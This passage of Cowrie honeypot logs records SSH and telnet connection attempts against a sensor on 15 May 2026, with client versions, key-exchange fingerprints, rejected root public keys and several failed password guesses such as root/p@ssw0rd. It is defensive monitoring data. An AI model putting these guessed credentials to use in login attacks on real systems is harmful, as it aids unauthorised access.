":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:40.845824Z","src_ip":"94.154.34.232","session":"c30e14d18edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456789","message":"login attempt [root/Ab123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:41.369762Z","src_ip":"94.154.34.232","session":"c30e14d18edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:42.495562Z","src_ip":"94.154.34.232","session":"c30e14d18edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":45802,"dst_ip":"10.17.0.5","dst_port":23,"session":"5db4e46b817f","protocol":"telnet","message":"New connection: 132.148.22.172:45802 (10.17.0.5:23) [session: 5db4e46b817f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:42.763737Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.33.110","src_port":43632,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3f1e707789c","protocol":"ssh","message":"New connection: 191.101.33.110:43632 (10.17.0.5:22) [session: d3f1e707789c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.563179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.571409Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.598583Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:53:72:d7:6c:a7:f6:45:dd:eb:f6:48:68:90:71:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGr5SuqHS+wOZ/cFE1tVH39GJd4ChP77GIqsoMZgFvMzlyuC0KWdlUEkkGabQypusSQKvxKuMVFhxeuLRPv1CMe5Kq63R7p8MUQwwgTPQN5unPfvpn+/nv/h4ABAzzC8UICsUYKt81/P1kzKeBq2CjGO0yFBx4v3bsRvt00sidJZAodpChfYpqIFZlUsGSk4mWnmf+awsWykymGR0NPSr4F3VxaUR41mAVM14GqyOakwRAM2igR4YRik5jaT9XUmf9AWbRor7P7VOH88X274S1QvJG+YV90NeIQzzqwOyFL079lsDFjE6T8V0HzUn0YsDN+LOPh2lZ9H51Q1VS/7QL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:53:72:d7:6c:a7:f6:45:dd:eb:f6:48:68:90:71:46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.711613Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:53:72:d7:6c:a7:f6:45:dd:eb:f6:48:68:90:71:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGr5SuqHS+wOZ/cFE1tVH39GJd4ChP77GIqsoMZgFvMzlyuC0KWdlUEkkGabQypusSQKvxKuMVFhxeuLRPv1CMe5Kq63R7p8MUQwwgTPQN5unPfvpn+/nv/h4ABAzzC8UICsUYKt81/P1kzKeBq2CjGO0yFBx4v3bsRvt00sidJZAodpChfYpqIFZlUsGSk4mWnmf+awsWykymGR0NPSr4F3VxaUR41mAVM14GqyOakwRAM2igR4YRik5jaT9XUmf9AWbRor7P7VOH88X274S1QvJG+YV90NeIQzzqwOyFL079lsDFjE6T8V0HzUn0YsDN+LOPh2lZ9H51Q1VS/7QL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.715429Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:cf:7f:af:f5:45:eb:8d:75:2e:06:f8:f2:25:38:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrAROdYLFEOcJ1gPNsaVM4WvXr89ktCslqV8h1lRaBP4MMmDWZO2Jy++iMWNoFRsMUSsS6OM1iVAmnAwBFDWlBuIGE3R1piZTzUxnDUC6VkDlwk0jFIUO0GO7iHHeK1t8FsCCNQbnUZrhAcy2kV6ohswqcc71pMurrW0iOa5Wce8f/9To+zvfrtiGNfCwvzH1rWlufdEclnteJzzYa6SGGqOG07vUU9Ndsdaa1AzsT0dpMPaPJEhzKm4NLieLcbbRtIlhsNPDqZFqNn+ENfYpC7EW2IVPQsQfkLPOIh0ixSOIn9ZDmVp8p1ZTbI+zxC2sMyj3juDMDDPpqUOcSXrVX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:cf:7f:af:f5:45:eb:8d:75:2e:06:f8:f2:25:38:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.742956Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:cf:7f:af:f5:45:eb:8d:75:2e:06:f8:f2:25:38:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrAROdYLFEOcJ1gPNsaVM4WvXr89ktCslqV8h1lRaBP4MMmDWZO2Jy++iMWNoFRsMUSsS6OM1iVAmnAwBFDWlBuIGE3R1piZTzUxnDUC6VkDlwk0jFIUO0GO7iHHeK1t8FsCCNQbnUZrhAcy2kV6ohswqcc71pMurrW0iOa5Wce8f/9To+zvfrtiGNfCwvzH1rWlufdEclnteJzzYa6SGGqOG07vUU9Ndsdaa1AzsT0dpMPaPJEhzKm4NLieLcbbRtIlhsNPDqZFqNn+ENfYpC7EW2IVPQsQfkLPOIh0ixSOIn9ZDmVp8p1ZTbI+zxC2sMyj3juDMDDPpqUOcSXrVX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.746806Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:62:d0:dd:9d:a0:8c:83:1f:19:62:b5:bb:2a:2e:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn1c5fJpdNNNpIjFJDDOP0bfgK1wPm8RPdZnWdNsGaWtzSixx8/omXw5m7zpO+t1MxjBpzHeuVBJcfjK18Dh1adbV/O66IRcZ1XhktH0xcpxiZjB1n5YlNMwXWGNeO12lxh9b1FUkOBY5HZOaSE1dHa7hjTrY96DzqCQ86z0XE9bCIXpbs+xRafT1OXJkmj3ieYOf432HoJuah6jAbz1XRf8dJZmrQE2J2IJdl2rlCoCNNy80/b7T5RfUjazofPOqCXMXA1DYa+rdZ+PPiCsF8z3qWPB2ASp+pBx03zvlr3nEz54ALUCtdOmGst70awkWb9iqFTvam2MftUSznDIPd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:62:d0:dd:9d:a0:8c:83:1f:19:62:b5:bb:2a:2e:ea","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.774524Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:62:d0:dd:9d:a0:8c:83:1f:19:62:b5:bb:2a:2e:ea","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCn1c5fJpdNNNpIjFJDDOP0bfgK1wPm8RPdZnWdNsGaWtzSixx8/omXw5m7zpO+t1MxjBpzHeuVBJcfjK18Dh1adbV/O66IRcZ1XhktH0xcpxiZjB1n5YlNMwXWGNeO12lxh9b1FUkOBY5HZOaSE1dHa7hjTrY96DzqCQ86z0XE9bCIXpbs+xRafT1OXJkmj3ieYOf432HoJuah6jAbz1XRf8dJZmrQE2J2IJdl2rlCoCNNy80/b7T5RfUjazofPOqCXMXA1DYa+rdZ+PPiCsF8z3qWPB2ASp+pBx03zvlr3nEz54ALUCtdOmGst70awkWb9iqFTvam2MftUSznDIPd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.779867Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:99:af:3e:50:b7:cb:26:95:49:51:30:9a:54:f5:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrZJoSba3EphsI8G5MFtZGmt5pDnwcZ7cSokWmXlAIyzlZnHqNn1Jsqm3Dd2+IvTZOo9DiReo/4MxByLZEUOOyWlsAl31sv8mQDucw4FLlPqGYxQ299VbpNsh9+pFAZ04Imqawz4IQvwZzP+bOokpV0JPVNoxo9DSq2SEPocGC2IRrybAuAIxhDVX7VS9z2qp4e6R7tP9vroQkG5MdR2nnAKsvHREVAZzkOXIxpRUHRvJ2Q+OthhCaaaKUnl5KA0oAyBGnF0bQDvzT6zAANvKFMjz1cOus0JLopcZww8ERWfblToNjzNKTrUeyWsIYOC7YN04paHSmU9p1xPfMgCM9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:99:af:3e:50:b7:cb:26:95:49:51:30:9a:54:f5:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.806551Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:99:af:3e:50:b7:cb:26:95:49:51:30:9a:54:f5:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrZJoSba3EphsI8G5MFtZGmt5pDnwcZ7cSokWmXlAIyzlZnHqNn1Jsqm3Dd2+IvTZOo9DiReo/4MxByLZEUOOyWlsAl31sv8mQDucw4FLlPqGYxQ299VbpNsh9+pFAZ04Imqawz4IQvwZzP+bOokpV0JPVNoxo9DSq2SEPocGC2IRrybAuAIxhDVX7VS9z2qp4e6R7tP9vroQkG5MdR2nnAKsvHREVAZzkOXIxpRUHRvJ2Q+OthhCaaaKUnl5KA0oAyBGnF0bQDvzT6zAANvKFMjz1cOus0JLopcZww8ERWfblToNjzNKTrUeyWsIYOC7YN04paHSmU9p1xPfMgCM9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.810935Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:9f:23:c4:26:32:d4:25:66:50:d0:6a:27:6c:f6:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzoO/rD0QuGGEM8ueMD9tOy6gbKB6iVmDifMgSBKxTCNlyKgAbd5d/IQ0izqmRQynirjvr4qFLoeBRF23F1ZNGmzp58YhhPgywl97IiH5m+hkTf3+O/3Kjzblr2fw/k3vLoat4s4FwB8kXL26HYmF0zUpcO6QhYdcxfY2hK6CwR92RFbyHBFZ2pEWph6P+YiobS9HGnyJ+Zv8XYezFIUBP6KZnUINZ2d8JqbpQeCd4GK+FBryIRoPtz8dcAjYZykJ32p47nZJsoG/cGFEnwf9qCDGAqyTvSelq+OT44J5/PSHINUvbboT2GXiGKDHWQ0C/jS3rPL/6mHr7j3PU/waf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:9f:23:c4:26:32:d4:25:66:50:d0:6a:27:6c:f6:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.838544Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:9f:23:c4:26:32:d4:25:66:50:d0:6a:27:6c:f6:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDzoO/rD0QuGGEM8ueMD9tOy6gbKB6iVmDifMgSBKxTCNlyKgAbd5d/IQ0izqmRQynirjvr4qFLoeBRF23F1ZNGmzp58YhhPgywl97IiH5m+hkTf3+O/3Kjzblr2fw/k3vLoat4s4FwB8kXL26HYmF0zUpcO6QhYdcxfY2hK6CwR92RFbyHBFZ2pEWph6P+YiobS9HGnyJ+Zv8XYezFIUBP6KZnUINZ2d8JqbpQeCd4GK+FBryIRoPtz8dcAjYZykJ32p47nZJsoG/cGFEnwf9qCDGAqyTvSelq+OT44J5/PSHINUvbboT2GXiGKDHWQ0C/jS3rPL/6mHr7j3PU/waf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.842745Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:47.871077Z","src_ip":"191.101.33.110","session":"d3f1e707789c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":42432,"dst_ip":"159.203.135.109","dst_port":22,"session":"e278fc2ccd41","protocol":"ssh","message":"New connection: 43.153.46.75:42432 (159.203.135.109:22) [session: e278fc2ccd41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:54.016721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:54.021628Z","src_ip":"43.153.46.75","session":"e278fc2ccd41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:54.089951Z","src_ip":"43.153.46.75","session":"e278fc2ccd41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:54.394233Z","src_ip":"43.153.46.75","session":"e278fc2ccd41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":37312,"dst_ip":"159.203.135.109","dst_port":22,"session":"aae95fcb840b","protocol":"ssh","message":"New connection: 162.243.147.237:37312 (159.203.135.109:22) [session: aae95fcb840b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:55.424040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:55.429555Z","src_ip":"162.243.147.237","session":"aae95fcb840b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:55.465997Z","src_ip":"43.153.46.75","session":"e278fc2ccd41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:55.515443Z","src_ip":"162.243.147.237","session":"aae95fcb840b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51956,"dst_ip":"159.203.135.109","dst_port":22,"session":"4538cde60376","protocol":"ssh","message":"New connection: 103.75.199.4:51956 (159.203.135.109:22) [session: 4538cde60376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:55.793471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:55.797652Z","src_ip":"103.75.199.4","session":"4538cde60376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123$%^","message":"login attempt [root/admin@123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:55.858585Z","src_ip":"162.243.147.237","session":"aae95fcb840b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:55.888639Z","src_ip":"103.75.199.4","session":"4538cde60376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:56.169909Z","src_ip":"103.75.199.4","session":"4538cde60376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:56.939506Z","src_ip":"162.243.147.237","session":"aae95fcb840b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:57.263486Z","src_ip":"103.75.199.4","session":"4538cde60376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77557134628296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:13.539211Z","src_ip":"132.148.22.172","session":"5db4e46b817f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.23.226","src_port":52124,"dst_ip":"10.17.0.5","dst_port":22,"session":"56bf74df3c97","protocol":"ssh","message":"New connection: 23.94.23.226:52124 (10.17.0.5:22) [session: 56bf74df3c97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:17.639613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:17.645079Z","src_ip":"23.94.23.226","session":"56bf74df3c97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":42468,"dst_ip":"159.203.135.109","dst_port":22,"session":"9df5b6a2a8f6","protocol":"ssh","message":"New connection: 103.75.199.4:42468 (159.203.135.109:22) [session: 9df5b6a2a8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:17.667436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:59:17.672728Z","src_ip":"103.75.199.4","session":"9df5b6a2a8f6","protocol":"ssh"}
